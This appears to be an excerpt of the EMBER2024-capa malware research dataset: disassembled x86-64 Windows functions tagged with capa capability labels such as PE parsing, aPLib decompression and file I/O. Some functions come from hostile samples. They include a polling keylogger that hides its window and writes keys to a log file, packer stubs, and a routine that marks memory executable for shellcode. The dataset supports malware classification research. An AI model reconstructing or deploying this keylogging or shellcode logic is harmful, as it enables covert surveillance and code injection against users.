joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002d288
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14002d30f
mov rsi, rbx
cmp word [rax], bp
je 0x14002d2ce
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14002d2b8
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14002d2b4
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140025474
mov rdi, rax
test rax, rax
je 0x14002d2fc
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140011a50
mov rbp, rdi
xor ecx, ecx
call fcn.140025438
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140030218
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140024f94
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1400302b9
cmp ebx, dword [rsp + 0x30]
je 0x1400302b2
test esi, esi
je 0x1400302b2
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14003028d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14003029a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140030277
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14003029e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1400302bb
mov eax, 1
jmp 0x1400302bb
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140032160
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140052560]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400321b7
cmp word [rdx], r13w
jne 0x1400321b7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400321bc
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400322e1
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140032302
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400321f5
mov rdx, r9
mov word [rbx], cx
jmp 0x14003221c
cmp r9, r8
jae 0x14003222c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400321d6
jmp 0x1400322e1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400322d6
cmp dword [rsp + 0x80], esi
je 0x1400322d6
lea r8, [0x140052560]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400322ae
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14003227e
mov word [rbx], r13w
jmp 0x1400322de
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14003228b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400322de
cmp word [rsp + 0x70], r13w
jne 0x1400322bb
cmp rbx, r14
je 0x140032278
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14002b6d0
cmp word [rsp + 0x70], r13w
je 0x1400322e1
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140052560]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400322db
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400322e1
Function at 0x1808c7160
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1808c72e7
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1808c7191
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808c7177
add dl, dl
jne 0x1808c719e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808c71fe
xor eax, eax
add dl, dl
jne 0x1808c71ad
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808c72b5
add dl, dl
jne 0x1808c71be
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808c71cb
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808c71d8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808c71e5
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1808c71f2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1808c7186
mov eax, 1
add dl, dl
jne 0x1808c720e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808c721b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808c7203
sub eax, ebx
mov ebx, 1
jne 0x1808c7254
mov ecx, 1
add dl, dl
jne 0x1808c7236
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1808c7243
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808c722b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1808c7186
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1808c7270
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1808c727d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808c7265
cmp eax, 0x7d00
jae 0x1808c72a3
cmp eax, 0x500
jb 0x1808c729e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1808c7186
cmp eax, 0x7f
ja 0x1808c72a6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1808c7186
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1808c72da
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1808c7186
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004044a0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004044b0]
mov dword [rax], 1
mov rax, qword [0x004044c0]
mov dword [rax], 1
mov rax, qword [0x00404490]
mov dword [rax], 1
mov rax, qword [0x00404380]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00404480]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00404440]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404330]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
cmp dword [rbp + 0x10], 0x10
je 0x4015d9
cmp dword [rbp + 0x10], 0x11
je 0x4015d9
cmp dword [rbp + 0x10], 0x12
je 0x4015d9
lea rdx, section..rdata
lea rcx, str.C:UsersPCDocumentsC_programmskeyloggerTest1keylog.txt
call sym.fopen
mov rdx, rax
lea rax, [0x00407970]
mov qword [rax], rdx
cmp dword [rbp + 0x10], 0x40
jle 0x4015b0
cmp dword [rbp + 0x10], 0x5a
jg 0x4015b0
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jne 0x4015b0
add dword [rbp + 0x10], 0x20
lea rax, [0x00407970]
mov rax, qword [rax]
mov rdx, rax
mov ecx, dword [rbp + 0x10]
call sym.fputc
lea rax, [0x00407970]
mov rax, qword [rax]
mov rcx, rax
call sym.fclose
jmp 0x4015da
nop
add rsp, 0x20
pop rbp
ret

Function at 0x4015e0
Capabilities:
Hide graphical window
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov dword [rbp - 4], 1
jmp 0x401634
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cwde
and eax, 1
test eax, eax
je 0x401630
mov eax, dword [rbp - 4]
mov ecx, eax
call dbg.logKeystroke
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0xfe
jle 0x401610
jmp 0x401607
Function at 0x401b60
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00407624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x401ce8
mov rax, qword [0x00407628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401bac
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401c35
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401b90
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x401d1d
mov rax, qword [0x00407628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00407628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401d00
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401c2e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401c90
add dword [0x00407624], 1
cmp edi, 8
jae 0x401c63
test dil, 4
jne 0x401cd4
test edi, edi
je 0x401c58
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x401cef
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401c58
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401c7c
jmp 0x401c58
add rsi, qword [0x00407628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401c2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401c58
xor esi, esi
jmp 0x401bb7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401c58
mov rax, qword [0x00407628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x402470
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00407900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004078e0]
test rbx, rbx
je 0x4024c4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4024bb
test rsi, rsi
je 0x4024bb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4024a0
lea rcx, [0x00407900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402700
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402710
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402720
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402761
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402758
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402763
add rax, 0x28
cmp rax, r9
jne 0x402744
xor eax, eax
ret

Function at 0x402800
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404380]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40286d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40286d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40286d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402864
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40286f
add rax, 0x28
cmp rax, r9
jne 0x402850
xor eax, eax
add rsp, 0x28
ret

Function at 0x402970
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404380]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402990
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402988
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4029ed
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4029e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4029f4
add rax, 0x28
cmp rax, r9
jne 0x4029d0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402a10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00404380]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402a7e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402a7e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402a7e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402a7e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402a75
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402a85
add rcx, 0x28
cmp rcx, rax
jne 0x402a60
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402a98
jmp 0x402a7e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402aa6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402a7e
test r9d, r9d
jg 0x402a90
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x402d00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x1402e03e0
Capabilities:
Terminate process

Disassembly:
invalid
cld
pop r11
jmp 0x1402e03ed
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1402e03fd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1402e03e5
lea eax, [rcx + 1]
jmp 0x1402e040b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1402e041e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1402e0404
sub eax, 3
jb 0x1402e043e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1402e048d
sar eax, 1
movsxd rbp, eax
jb 0x1402e0474
jmp 0x1402e044c
add ebx, ebx
jne 0x1402e044a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1402e0474
inc ecx
add ebx, ebx
jne 0x1402e045a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1402e0474
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1402e046d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1402e045c
add ecx, 2
jmp 0x1402e0479
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1402e03a2
jmp 0x1402e03ed
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0x2de000]
mov eax, dword [rdi]
or eax, eax
je 0x1402e04f9
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x2e0000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1402e049d
jns 0x1402e04d2
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1402e04dc
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1402e04f3
mov qword [rbx], rax
add rbx, 8
jmp 0x1402e04bd
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1402e0551
sub rsp, 0xffffffffffffff80
jmp 0x1401db074
Function at 0xbde058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00bde1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0xbde089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xbde06f
add dl, dl
jne 0xbde096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xbde0f6
xor eax, eax
add dl, dl
jne 0xbde0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xbde1ad
add dl, dl
jne 0xbde0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbde0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbde0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbde0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0xbde0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0xbde07e
mov eax, 1
add dl, dl
jne 0xbde106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbde113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xbde0fb
sub eax, ebx
mov ebx, 1
jne 0xbde14c
mov ecx, 1
add dl, dl
jne 0xbde12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbde13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xbde123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xbde07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xbde168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbde175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xbde15d
cmp eax, 0x7d00
jae 0xbde19b
cmp eax, 0x500
jb 0xbde196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xbde07e
cmp eax, 0x7f
ja 0xbde19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xbde07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0xbde1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0xbde07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140016d00]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140016d10]
mov dword [rax], 1
mov rax, qword [0x140016d20]
mov dword [rax], 1
mov rax, qword [0x140016cf0]
mov dword [rax], 1
mov rax, qword [0x140016ba0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x140016ce0]
mov dword [0x14001a020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010c0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140016ca0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140016c80]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140016b50]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x140001645
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
lea rax, [rbp - 4]
mov r9, rax
mov r8d, 0x40
mov edx, 0x590
lea rcx, [0x140015020]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x1400016a8
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r8d, ebx
lea rdx, str.Error_setting_memory_executable:__n
mov rcx, rax
call sym.fprintf
mov eax, 0
jmp 0x1400016af
lea rax, [0x140015020]
add rsp, 0x38
pop rbx
pop rbp
ret